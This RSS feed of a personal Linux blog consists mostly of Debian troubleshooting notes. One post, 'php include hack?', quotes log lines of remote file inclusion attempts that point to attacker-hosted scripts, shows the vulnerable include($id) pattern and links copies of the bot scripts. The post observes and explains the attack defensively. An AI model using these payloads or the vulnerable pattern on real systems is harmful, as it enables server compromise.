<?xml version="1.0" encoding="iso-8859-1" ?>
<rss version="2.0" 
   xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule" 
   xmlns:html="http://www.w3.org/1999/html" 
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" 
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/">
<channel>
   <title>eccentric blog</title>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi</link>
   <description>random eccentric things</description>
   <language>en</language>
   <copyright>Copyleft 2009</copyright>
   <ttl>60</ttl>
   <pubDate>Wed, 09 Jun 2010 20:10 GMT</pubDate>
   <managingEditor>eccentric@slavery.cx</managingEditor>
   <generator>PyBlosxom http://pyblosxom.sourceforge.net/ 1.4.3 01/10/2008</generator>
<item>
   <title>Etch to Lenny upgrade of samba with Windows 98 clients</title>
   <guid isPermaLink="false">debian/etch_lenny_upgrade_samba_win98</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/debian/etch_lenny_upgrade_samba_win98.ecc</link>
   <description><![CDATA[

So I just recently upgraded an old server from etch to lenny, that was hosting some files on a samba share for an ultra old Windows 98 machine. Anyways, upgrade went fine, but I ran into a problem authenticating the windows 98 machine to the samba share after the upgrade. Getting the old IPC$ invalid password deal. After stubling around with samaba for a while I found that at some point between the two releases they have disabled <i>lanman</i> authentication as it's rather unsecure and such. And it turns out that is fine, as long as you don't have any windows machines older than XP. So I had to enabled laman authentication in the samba config file by adding the line <i>lanman auth = yes</i> to my <i>/etc/samba/smb.conf</i> file. That did the trick, and now the ancient windows 98 machine can login to the file server again.

]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/debian</category>
   <pubDate>Wed, 09 Jun 2010 20:10 GMT</pubDate>
</item>
<item>
   <title>Java applications start with a blank window in awesome wm</title>
   <guid isPermaLink="false">debian/java_blank_window_in_awesome</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/debian/java_blank_window_in_awesome.ecc</link>
   <description><![CDATA[

I had a problem with opening some java applications in awesome where the app would just come up with a blank screen. It looks like this is due to a bug in java with windows managers that are non-reparenting, which is what awesome is (along with xmonad, dwm, ratpoison, Ion3, etc). Seems you can trick it by impersonating another windows manager which seems to do the trick for me:

<pre>
sudo apt-get install dwm-tools
wmname LG3D
</pre>

Reference: <a href="http://awesome.naquadah.org/wiki/Problems_with_Java">http://awesome.naquadah.org/wiki/Problems_with_Java</a>

]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/debian</category>
   <pubDate>Wed, 09 Jun 2010 04:40 GMT</pubDate>
</item>
<item>
   <title>Flash player 10 64 bit for linux</title>
   <guid isPermaLink="false">debian/20100427-flashplayer10-64bit</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/debian/20100427-flashplayer10-64bit.ecc</link>
   <description><![CDATA[

I hate dealing with flash for linux, but it always comes up that people need flashplayer 10 installed, and getting it on a 64 bit platform (without running it through ndiswrapper) is kind of a pain. Anyways, I always end up having to do this, so I thought I'd put this here for future reference.

<ul>
<li>uninstall any existing flash install <i>apt-get remove flashplugin-nonfree flashplugin-installer</i></li>

<li>download newest flash 10 64bit: <a href="http://labs.adobe.com/downloads/flashplayer10_64bit.html">http://labs.adobe.com/downloads/flashplayer10_64bit.html</a></li>

<li>sudo tar zxvf libflashplayer-10.0.45.2.linux-x86_64.so.tar.gz -C /usr/lib/mozilla/plugins/</li>

</ul>

]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/debian</category>
   <pubDate>Tue, 27 Apr 2010 22:38 GMT</pubDate>
</item>
<item>
   <title>Power Supply Efficiency</title>
   <guid isPermaLink="false">energy/power_supply_upgrade</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/energy/power_supply_upgrade.ecc</link>
   <description><![CDATA[

<p>So a few months ago I was about to upgrade my video card in my main desktop/gaming system, and realized I needed a new power supply. I was still running the stock Antec 380 watt PSU that came with the Sonata case. It wasn't going be able to power the new video card properly, and infact was alredy underpowered for the system it was running in. Anyways, I went out and picked up a <a href="http://www.seasonicusa.com/m12.htm">Seasonic M12 600 Watt 80 PLUS</a> power supply. The 80 PLUS designation means the power supply is more efficent (the rating states they are 80% efficent at 20%, 50% and 100% utilization). This is somewhere around 20% more efficent than standard power supply units. So anyways, since I was upgrading I decided to run some test before I put the new video card in to see what difference it was making, and here are the results. These are measured using a <a href="http://www.applelinks.com/index.php/more/kill_a_watt_ac_power_consumption_monitor/">Kill-A-Watt</a> device.</p>

<p>
<i>System: Intel Quad Core Q6600, running a radeon 4830 graphics card.</i>
<br />
<br />

<table>
<tr><th></th><th>Antec 380 Watt PSU</th><th>Seasonic M12 600 Watt PSU</th></tr>
<tr><td>System Off</td><td>6 watts</td><td>2 watts</td></tr>
<tr><td>During Bootup</td><td>218 watts</td><td>190 watts</td></tr>
<tr><td>Peak During bootup</td><td>240 watts</td><td>202 watts</td></tr>
<tr><td>Windows Desktop Idle</td><td>128 watts</td><td>111 watts</td></tr>
<tr><td>CS:Source Video Stress Test</td><td>222-240 watts</td><td>188->204 watts</td></tr>
</table>
</p>

<p>And just a quick comparison, this is the seasonic PSU but with the new video card (Nvidia GTX 260) during Counter-Strike Source Stress Test: 189-208, so it seems to use just a tiny bit more power than the ATI Radeon 4830.</p>


<p>Anyways, it's interesting how much of a difference in power usage a quality power supply makes. Those test are identical except for the power supply change, and as you can see it really does make a noticable difference.</p>



]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/energy</category>
   <pubDate>Fri, 22 Jan 2010 20:28 GMT</pubDate>
</item>
<item>
   <title>Mortgage Calculators</title>
   <guid isPermaLink="false">general/mortgage_calculator</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/general/mortgage_calculator.ecc</link>
   <description><![CDATA[

<p>I've been following house prices for a few years, watching what I think is a huge housing bubble develope in Canada. Anyways, I often run little mortgage scenario's on houses just for fun to see how out of whack things are (the average family not being able to afford even a cheap home, etc, etc), and I did a google search for mortgage calculators and found something that I think is interesting.</p>

<p>This site: <a href="http://www.mortgagecalculator.net/">http://www.mortgagecalculator.net/</a> that is hosted by who knows, doesn't allow you to put in an interest rate above 9.0 percent. It seems to just not compute and won't show you any numbers? Anyways, that is just out to lunch since interest rates over the past 30 years have been up to 21%, and average around 8% or so. Yeah, they are stupid low now, but it doesn't mean they can't ever go past 9%? Just crazy.</p>

<p>And then I find this other site hosted by the BBC in the UK and they let you enter in your interest rate etc, and in the results they have a <i>"But be careful, at 12% it will be:"</i> amount. Which is exactly what people need to know! So anyways, a nice example of stupid vs sensible. <a href="http://www.bbc.co.uk/homes/property/mortgagecalculator.shtml">http://www.bbc.co.uk/homes/property/mortgagecalculator.shtml</a></p>



]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/general</category>
   <pubDate>Wed, 30 Sep 2009 17:29 GMT</pubDate>
</item>
<item>
   <title>now with rss</title>
   <guid isPermaLink="false">general/rss</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/general/rss.ecc</link>
   <description><![CDATA[

Because there is one person who reads this blog I finally got around to hooking up the rss function. Link at the bottom of this page or <a href="index.rss20">right here</a>. Enjoy :) 


]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/general</category>
   <pubDate>Thu, 16 Jul 2009 00:13 GMT</pubDate>
</item>
<item>
   <title>apt-get install in lenny</title>
   <guid isPermaLink="false">debian/apt-get_install_in_lenny</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/debian/apt-get_install_in_lenny.ecc</link>
   <description><![CDATA[

I was just setting up a minimalistic netboot machine and needed metacity for a windows manager so I typed in <i>apt-get install metacity</i> and got the following:

<pre># apt-get install metacity
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
  desktop-file-utils doc-base dvd+rw-tools evolution-data-server evolution-data-server-common genisoimage gnome-about gnome-applets gnome-applets-data gnome-control-center gnome-desktop-data gnome-doc-utils gnome-media gnome-netstatus-applet gnome-panel gnome-panel-data gnome-session gnome-settings-daemon
  gnome-system-monitor gnome-user-guide gstreamer0.10-alsa gstreamer0.10-plugins-base gstreamer0.10-plugins-good gstreamer0.10-x libaa1 libapm1 libasound2 libcairomm-1.0-1 libcdio7 libcdparanoia0 libcompress-raw-zlib-perl libcompress-zlib-perl libedata-book1.2-2 libedata-cal1.2-6 libedataserverui1.2-8 libeel2-2.20
  libeel2-data libegroupwise1.2-13 libenchant1c2a libexempi3 libexif12 libflac8 libfont-afm-perl libfreezethaw-perl libgdata-google1.2-1 libgdata1.2-1 libglibmm-2.4-1c2a libgnome-window-settings1 libgnomekbd-common libgnomekbd2 libgnomekbdui2 libgstreamer-plugins-base0.10-0 libgtkmm-2.4-1c2a libgucharmap6
  libgweather-common libgweather1 libhtml-format-perl libhtml-parser-perl libhtml-tagset-perl libhtml-tree-perl libhunspell-1.2-0 libio-compress-base-perl libio-compress-zlib-perl liblcms1 libmalaga7 libmldbm-perl libmozjs1d libnautilus-extension1 libnet-dbus-perl libnotify1 liboobs-1-4 librarian0 libsexy2 libslab0
  libsoup2.4-1 libtie-ixhash-perl libtrackerclient0 libuuid-perl libvoikko1 libwavpack1 libwww-perl libxklavier12 libxml-parser-perl libxml-twig-perl libxml-xpath-perl myspell-en-us nautilus nautilus-cd-burner nautilus-data notification-daemon system-tools-backends wodim xulrunner-1.9 yelp
Suggested packages:
  cdrskin evolution evolution-data-server-dbg cdrkit-doc tomboy cpufreqd cpudyn powernowd esound-clients gnome-screensaver xscreensaver gnome2-user-guide gnome-system-tools libasound2-plugins libvisual-0.4-plugins gnome-app-install liblcms-utils voikko-fi libio-socket-ssl-perl libunicode-map8-perl
  libunicode-string-perl xml-twig-tools eog evince pdf-viewer totem mp3-decoder tracker fam xulrunner-1.9-gnome-support
The following NEW packages will be installed:
  desktop-file-utils doc-base dvd+rw-tools evolution-data-server evolution-data-server-common genisoimage gnome-about gnome-applets gnome-applets-data gnome-control-center gnome-desktop-data gnome-doc-utils gnome-media gnome-netstatus-applet gnome-panel gnome-panel-data gnome-session gnome-settings-daemon
  gnome-system-monitor gnome-user-guide gstreamer0.10-alsa gstreamer0.10-plugins-base gstreamer0.10-plugins-good gstreamer0.10-x libaa1 libapm1 libasound2 libcairomm-1.0-1 libcdio7 libcdparanoia0 libcompress-raw-zlib-perl libcompress-zlib-perl libedata-book1.2-2 libedata-cal1.2-6 libedataserverui1.2-8 libeel2-2.20
  libeel2-data libegroupwise1.2-13 libenchant1c2a libexempi3 libexif12 libflac8 libfont-afm-perl libfreezethaw-perl libgdata-google1.2-1 libgdata1.2-1 libglibmm-2.4-1c2a libgnome-window-settings1 libgnomekbd-common libgnomekbd2 libgnomekbdui2 libgstreamer-plugins-base0.10-0 libgtkmm-2.4-1c2a libgucharmap6
  libgweather-common libgweather1 libhtml-format-perl libhtml-parser-perl libhtml-tagset-perl libhtml-tree-perl libhunspell-1.2-0 libio-compress-base-perl libio-compress-zlib-perl liblcms1 libmalaga7 libmldbm-perl libmozjs1d libnautilus-extension1 libnet-dbus-perl libnotify1 liboobs-1-4 librarian0 libsexy2 libslab0
  libsoup2.4-1 libtie-ixhash-perl libtrackerclient0 libuuid-perl libvoikko1 libwavpack1 libwww-perl libxklavier12 libxml-parser-perl libxml-twig-perl libxml-xpath-perl metacity myspell-en-us nautilus nautilus-cd-burner nautilus-data notification-daemon system-tools-backends wodim xulrunner-1.9 yelp
0 upgraded, 95 newly installed, 0 to remove and 2 not upgraded.
35 not fully installed or removed.
Need to get 73.9MB of archives.
After this operation, 194MB of additional disk space will be used.
Do you want to continue [Y/n]? n
Abort.
</pre>

So then I'm thinking, "what the hell?", I don't need any of those extra packages that it plans to install. How does installing metacity require the gnome-system-monitor? So I did a quick search and it turns out the default behaviour has changed in lenny to install recommended packages by default. And you can change that behaviour by adding a couple lines to your <i>/etc/apt/apt.conf</i> file (just create it if it doesn't exist), and add:

<pre>APT::Install-Recommends "0";
APT::Install-Suggests "0";</pre>

That changed the my install down to:

<pre># apt-get install metacity
Reading package lists... Done
Building dependency tree
Reading state information... Done
Suggested packages:
  gnome-control-center
Recommended packages:
  gnome-session x-session-manager
The following NEW packages will be installed:
  metacity
0 upgraded, 1 newly installed, 0 to remove and 2 not upgraded.
</pre>

That is much more like it...




]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/debian</category>
   <pubDate>Wed, 15 Jul 2009 23:41 GMT</pubDate>
</item>
<item>
   <title>r8169 NETDEV WATCHDOG transmit timed out problem</title>
   <guid isPermaLink="false">debian/r8169_driver_crash</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/debian/r8169_driver_crash.ecc</link>
   <description><![CDATA[

I recently built a new home server box using an Intel Atom (BOXD945GCLF2 Atom 330 Dual Core 1.6Ghz to be exact), and ran into a strange problem where the box would crash with an error like this:

<pre>
[322865.976030] ------------[ cut here ]------------
[322865.976038] WARNING: at net/sched/sch_generic.c:226 dev_watchdog+0xf6/0x18b()
[322865.976043] Hardware name:
[322865.976047] NETDEV WATCHDOG: eth0 (r8169): transmit timed out
[322865.976051] Modules linked in: ipt_MASQUERADE xt_limit xt_helper xt_multiport xt_DSCP xt_tcpudp xt_state ipt_LOG ipt_REJECT iptable_nat nf_nat nf_conntrack_ipv4 nf_conntrack nf_defrag_ipv4 iptable_filter iptable_mangle ip_tables x_tables ipv6 fuse loop hid_pl hid_cypress hid_zpff hid_gyration hid_sony hid_ntrig hid_samsung hid_microsoft hid_tmff hid_monterey hid_ezkey hid_apple hid_a4tech hid_logitech ff_memless hid_cherry hid_sunplus hid_petalynx hid_belkin hid_chicony usbhid hid ds2490 wire cn serio_raw 8139too i2c_i801 rng_core 8139cp parport_pc evdev i2c_core floppy parport ehci_hcd uhci_hcd button thermal processor iTCO_wdt thermal_sys usbcore
[322865.976152] Pid: 0, comm: swapper Not tainted 2.6.29.1 #1
[322865.976156] Call Trace:
[322865.976167]  [<c0127414>] warn_slowpath+0x80/0xb6
[322865.976176]  [<c02e0d7a>] cpumask_next_and+0x23/0x33
[322865.976184]  [<c0120b2c>] find_busiest_group+0x2fa/0x7e2
[322865.976193]  [<c013b281>] sched_clock_cpu+0x136/0x147
[322865.976200]  [<c03bf608>] dev_watchdog+0xf6/0x18b
[322865.976207]  [<c0139436>] hrtimer_forward+0x10c/0x124
[322865.976214]  [<c0124ea3>] scheduler_tick+0x9c/0x1a3
[322865.976220]  [<c013dc65>] getnstimeofday+0x4c/0xcf
[322865.976227]  [<c0111299>] lapic_next_event+0x10/0x13
[322865.976233]  [<c03bf512>] dev_watchdog+0x0/0x18b
[322865.976241]  [<c012ec6c>] run_timer_softirq+0x14a/0x1b4
[322865.976247]  [<c03bf512>] dev_watchdog+0x0/0x18b
[322865.976254]  [<c012b9da>] __do_softirq+0x8c/0x130
[322865.976260]  [<c012bac3>] do_softirq+0x45/0x53
[322865.976266]  [<c012bbe8>] irq_exit+0x35/0x62
[322865.976272]  [<c0111a00>] smp_apic_timer_interrupt+0x71/0x7b
[322865.976280]  [<c0103b40>] apic_timer_interrupt+0x28/0x30
[322865.976287]  [<c01088f1>] mwait_idle+0x4c/0x5a
[322865.976293]  [<c0102536>] cpu_idle+0x60/0x7a
[322865.976298] ---[ end trace f9e87d98b4ee5218 ]---
[322866.001730] r8169: eth0: link up
</pre>

It would always happen while transfering large amounts of data out from the server through the onboard gigabyte ethernet listed in lspci as:
<pre>01:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168B PCI Express Gigabit Ethernet controller (rev 02)</pre>

<p>Sometimes it would sort of freeze up the machine for a minute or two, and others it crashed and rebooted. Anyways, tracking the problem down was quite the pain since it only happened sometimes when transfering large amounts of data. Searching for a fix also was hard, and I found many others with the same problem with this realtek NIC, but no one had a solution. But I eventually stumbled upon <a href="http://www.gossamer-threads.com/lists/linux/kernel/1041988">this post</a> which was the same problem and the last post is someone saying they were going to try the pci=nomsi boot option. I guess it worked for him and so he never posted back, so I tried that out myself and it seems to have fixed the problem. </p>

<p>The pci=nomsi option seems to disable MSI (Message Signaled Interrupt) which is a feature of the PCI bus revision 2.3 or later. It seems like it sometimes causes problems as it is the solution to a number of different problems with pci devices not working so well. </p>



]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/debian</category>
   <pubDate>Fri, 01 May 2009 05:37 GMT</pubDate>
</item>
<item>
   <title>joule theif</title>
   <guid isPermaLink="false">electronics/jouletheif</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/electronics/jouletheif.ecc</link>
   <description><![CDATA[

<a href="/blogimages/20090106/jouletheif.jpg"><img src="/blogimages/20090106/jouletheif-thumb.jpg" width="595" height="477" alt="jouletheif" /></a><br />

<br />

<a href="http://www.evilmadscientist.com/article.php/joulethief">http://www.evilmadscientist.com/article.php/joulethief</a><br />
<a href="http://www.talkingelectronics.com/projects/LEDTorchCircuits/LEDTorchCircuits-P1.html">http://www.talkingelectronics.com/projects/LEDTorchCircuits/LEDTorchCircuits-P1.html</a><br />


]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/electronics</category>
   <pubDate>Tue, 06 Jan 2009 10:14 GMT</pubDate>
</item>
<item>
   <title>Ubuntu install problems - dumping to busybox</title>
   <guid isPermaLink="false">debian/ubuntu_install_problems</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/debian/ubuntu_install_problems.ecc</link>
   <description><![CDATA[
I just ran into a problem running with Ubuntu 8.04 install on a machine that would cause the installtion to start booting from CD and then dump you to a Busybox shell with an initramfs prompt. After searching around it looks to be an issue with the IDE/SATA controllers on some motherboards. I ended up fixing the issue by following some instruction from various others that were having the same problem:<br />
<br />
<a href="https://bugs.launchpad.net/ubuntu/+source/linux/+bug/222176">Bug #222176: initramfs error/problem ubuntu 8.04</a><br />
<br />
In my case it seems hitting F6 and appending the boot option <i>pci=nomsi</i> solved the problem in my case. Others reported appending <i>all_generic_ide floppy=off irqpoll</i> that solved the issue for them.<br />

]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/debian</category>
   <pubDate>Tue, 21 Oct 2008 20:05 GMT</pubDate>
</item>
<item>
   <title>Custom X startup using GDM</title>
   <guid isPermaLink="false">debian/custom_startup_using_gdm</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/debian/custom_startup_using_gdm.ecc</link>
   <description><![CDATA[
I wanted to run my own startup script, since I've been using <a href="http://awesome.naquadah.org/">awesome</a> windows manager lately, and wanted to run a few items at startup as well. This ended up being more difficult than it should have been probably, but it works. I ended up just creating a <i>~/.xsession</i> file like so:
<pre>xbindkeys &
exec awesome</pre>

Then just made that file executable. I then edited my <i>~/.dmrc</i> file and changed "Session=awesome" to "Session=custom". That tells GDM to launch X using your ~/.xsession instead of a specific windows manager, allowing you to run whatever you want at startup as well.

]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/debian</category>
   <pubDate>Sun, 14 Sep 2008 05:55 GMT</pubDate>
</item>
<item>
   <title>Zim Wiki</title>
   <guid isPermaLink="false">debian/zim_wiki</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/debian/zim_wiki.ecc</link>
   <description><![CDATA[
<a href="http://sociallysour.org/">Hurt</a> pointed me to a program he found called <a href="http://zim-wiki.org/">Zim wiki</a>. It's similar to Tomboy notes but different in many ways as well. It runs more as an app, and less as a tray item. The other very cool thing about it is that all the notes are just stored in standard plain text with normal wiki markup type language, making them easily viewable and editable from the command line. Anyways, I'm finding it really quite good and wanted to run the latest version (Debian Etch has 0.17, but 0.25 is out). In order to run it on Etch I had to upgrade a couple perl modules by switching my sources to testing and doing a
<pre>
apt-get install libfile-desktopentry-perl libmodule-build-perl libfile-basedir-perl
</pre>

After that it's just a matter of untar'ing the source, and running the binary <i>(&lt;src dir&gt;/bin/zim)</i>.

Also to make things even more useful, there exists a <a href="http://blafs.com/diverse.html">Tomboy 2 Zim</a> python script to convert your notes if you were using Tomboy. 

]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/debian</category>
   <pubDate>Thu, 05 Jun 2008 03:08 GMT</pubDate>
</item>
<item>
   <title>new blog</title>
   <guid isPermaLink="false">general/new_blog</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/general/new_blog.ecc</link>
   <description><![CDATA[
Well wordpress failed me again after I got lazy and didn't upgrade it for a while. It ended up getting hacked through a vulnerability in the image upload script. There didn't seem to be any real damage but it messed up my wordpress database somehow. Anyways, I'm rather sick of upgrading wordpress constantly and so I've switched to <a href="http://pyblosxom.sourceforge.net/">pyblosxom</a>. It's nice and simple, no comments, so no spam, and I was able to drop all my old wordpress posts into text files with a simple python script. 

]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/general</category>
   <pubDate>Tue, 06 May 2008 02:46 GMT</pubDate>
</item>
<item>
   <title>ibook g4 debian</title>
   <guid isPermaLink="false">debian/ibook_g4_debian</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/debian/ibook_g4_debian.ecc</link>
   <description><![CDATA[
I noticed the ibook getting really warm during compiles, and a quick search showed that I needed to load a module to properly monitor the temperature and thus start the fan. Sure enough as soon as I did modprobe therm_adt746x the fan started up. I made sure to add this to the /etc/modules<br /><br />This also provides /sys/devices/temperatures/sensor1_tempature (and sensor2_temperature) which were at 60 when I first modprobe'd the module but quickly dropped.<br />

]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/debian</category>
   <pubDate>Tue, 06 May 2008 02:33 GMT</pubDate>
</item>
<item>
   <title>python-mysql on maemo</title>
   <guid isPermaLink="false">general/python-mysql_on_maemo</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/general/python-mysql_on_maemo.ecc</link>
   <description><![CDATA[
Compiling python-mysql for use on a nokia n800. <br /><br />I got the libmysqlclient15 libraries that were released from the gmyth package.<br />http://sourceforge.net/project/showfiles.php?group_id=177106&package_id=225202<br /><br />I then downloaded MySQL-python-1.2.2.tar.gz <br /><br />export LD_LIBRARY_PATH=/usr/lib/mysql<br />I changed site.cfg file and set threadsafe to false, then ran python2.5 setup.py build<br />I then changed site.cfg to set threadsafe to true, then ran python2.5 setup.py build again<br />after that all went well, I ran python2.5 setup.py install and this created an egg /usr/lib/python2.5/site-packages/MySQL_python-1.2.2-py2.5-linux-armv5tel.egg<br /><br />I copied this to the nokia n800 in the same directory and installed libmysqlclient15_5.0.27_armel.deb and then I was able to import MySQLdb and use mysql.<br /><br />added /usr/lib/mysql to /etc/ld.so.conf and ran ldconfig
]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/general</category>
   <pubDate>Tue, 06 May 2008 02:22 GMT</pubDate>
</item>
<item>
   <title>weird gtksequence.c errors</title>
   <guid isPermaLink="false">pygtk/weird_gtksequence.c_errors</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/pygtk/weird_gtksequence.c_errors.ecc</link>
   <description><![CDATA[
Recently I was having a problem with a threaded pygtk app I was working on and nearly went insane trying to track down the problem. What was happening was I would randomly get errors that would cause the application to crash, such as:<pre>Gtk-ERROR **: file gtksequence.c: line 760 (_gtk_sequence_node_find_by_pos): assertion failed: (node->parent != NULL)aborting...orGtk-ERROR **: file gtksequence.c: line 595 (_gtk_sequence_node_rotate): assertion failed: (node->parent)aborting...</pre>I couldn't really figure out what was going on since it was so random, it would happen 1 of 10 tries, then 3 of 10 and just all very random. I found the call that was causing it but still managed to not understand what the problem was. Anyways, after carefully going through my code and much google searching, I finally realized that my call was updating the gtk interface but I had forgot to make my call to enter the gtk thread before hand. So as a note to myself, always remember to make gtk.threads_enter/leave() calls! Ack.<pre>gtk.threads_enter()self.mainapp.function()gtk.threads_leave()</pre>


]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/pygtk</category>
   <pubDate>Sat, 12 Jan 2008 09:48 GMT</pubDate>
</item>
<item>
   <title>Last.fm OMI (Open Mind Index)</title>
   <guid isPermaLink="false">general/Last.fm_OMI_(Open_Mind_Index)</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/general/Last.fm_OMI_%28Open_Mind_Index%29.ecc</link>
   <description><![CDATA[
I came across this <a href="http://www.musickum.com/omi/">OMI (Open Mind Index) generator</a> while browsing around <a href="http://www.last.fm/">last.fm</a> that is rather cool if your a last.fm junkie. As it's described on the website:<br /><br /><blockquote>The calculation is based on your top-artist of the last 12 months. The weighting of a tag depends on the quantity of your played songs of one artist, as well as the most frequently used tag for this artist. On the basis of quantity, distribution and weighting of the tags, the OMI will be calculated.</blockquote><br /><br />So it basically takes your last.fm stats and creates even more stats about your listening. And everyone loves statistics (well, last.fm users do). They also have a bunch of OMI stats based on age, country and so on.<br /><br />
]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/general</category>
   <pubDate>Fri, 02 Nov 2007 07:26 GMT</pubDate>
</item>
<item>
   <title>php include hack?</title>
   <guid isPermaLink="false">security/php_include_hack?_</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/security/php_include_hack%3F_.ecc</link>
   <description><![CDATA[
I happened to be watching a log file when I was testing something and happened to notice the following type of request go by:<br /><br /><pre>217.11.225.208 - - [05/Oct/2007:12:46:32 -0400] "GET /pictures/index.php?id=830/index.php?id=http://211.155.235.169/sewam/cmd.txt? HTTP/1.1" 200 1435 "-" "libwww-perl/5.805"<br />85.11.62.235 - - [06/Oct/2007:01:03:47 -0400] "GET /pictures/index.php?id=http://ninaru.hut2.ru/images/cs.txt? HTTP/1.1" 200 1455 "-" "Wget/1.1 (compatible; i486; Linux; RedHat7.3)"</pre><br /><br />Which was interesting, as it's obviously some type of hack attempt. I decided to look into it and it seems that it's a scripted attempt to just pass the url to any scripts that accept a variable, in hopes that someone was silly enough to accept that variable as an include and happened to have remote includes turned on in there php config, something like this:<br /><br /><pre>< ?php<br />include($id);<br />// rest of script<br />?></pre><br /><br />Then when the page is called, the url is passed in as the include and the script gets executed. Which seems to be some type of irc bot, although the file is all encoded to help try and hide what exactly is going on, although I'm sure you end up in some bot net ultimately. And from what I read it's not uncommon for people to actually have a page setup like that for redirects or some such nonsense. Obviously not a good practice as you'd likely end up victim to this request.<br /><br />Here are a copy of the scripts hosted locally from the above to examples, as I doubt they'll be around forever on those hosts. <a href="/blogimages/20071006/cs.txt">cs.txt</a> & <a href="/blogimages/20071006/cmd.txt">cmd.txt</a><br />
]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/security</category>
   <pubDate>Sat, 06 Oct 2007 06:45 GMT</pubDate>
</item>
<item>
   <title>delayed sleep phase syndrome</title>
   <guid isPermaLink="false">general/delayed_sleep_phase_syndrome</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/general/delayed_sleep_phase_syndrome.ecc</link>
   <description><![CDATA[
My girlfriend recently found this article on wikipedia about <a href="http://en.wikipedia.org/wiki/Delayed_sleep_phase_syndrome">delayed sleep phase syndrome</a>, and immediately showed it to me since it describes my sleeping habits exactly. It's interesting as it seems just be a more extreme case of the natural circadian rhythm which has some people being "owls" or those who tend to go to sleep naturally later in the night (midnight - 2am). And on the flip side there are "Larks" who naturally go to bed earlier, and in turn wake up earlier. Along with that there is <a href="http://en.wikipedia.org/wiki/Advanced_sleep_phase_syndrome">advanced sleep phase syndrome</a> which is the exact opposite to delayed sleep phase syndrome. And in between are people who sleep more regular hours, sometimes referred to as "hummingbirds". From what I read Owls and Larks each account for about 15% of the population while the remaining 70% are hummingbirds.<br /><br />In the case of these sleeping problems the best solution seems to be to find a lifestyle that fits with your sleeping since the trouble isn't sleeping at all, it's just when you sleep. All through school, and while I was working 9-5 I always had massive trouble going to bed at night, and getting up in the morning. I tried all kinds of different methods to try and get myself to sleep earlier but nothing ever worked. Even after struggling to get up in the morning, working a long day and then trying to go to bed early I would just lay there forever not falling asleep until after 2am. And thus getting up in the morning would be a massive pain, and thus I've always been late for everything in life if it's in the morning hours. Now that I'm self employed I can pretty much work my own hours and so I just go to sleep when I'm tired at 4 or 5am and sleep until I'm not tired and get up around noon. Unfortunately the world doesn't really work on those hours so finding a lifestyle to fit the more extreme cases of owls and larks isn't always easy, and is almost always a problem during school. But knowing what the problem is certainly makes it easier to find a solution. All through school it was assumed that I just slept too much and the solution seems to be finding out why I slept such long hours, when in fact, I wasn't sleeping very much at all since I was mostly just laying in bed at night not sleeping, or at least not getting any good sleep, and then getting up way to early. In turn making me seem tired all of the time as school hours are nearly my natural sleep hours. <br /><br />This article titled <a href="http://scienceblogs.com/clock/2006/06/everything_you_always_wanted_t.php">Everything You Always Wanted To Know About Sleep (But Were Too Afraid To Ask)</a> is a great overview of sleep in general and worth reading if your interested. 
]]></description>
   <category domain="http://eccentric.cx/cgi-bin/pyblosxom.cgi">/general</category>
   <pubDate>Sun, 12 Aug 2007 09:46 GMT</pubDate>
</item>
<item>
   <title>solar powered t-amp</title>
   <guid isPermaLink="false">energy/solar_powered_t-amp</guid>
   <link>http://eccentric.cx/cgi-bin/pyblosxom.cgi/energy/solar_powered_t-amp.ecc</link>
   <description><![CDATA[
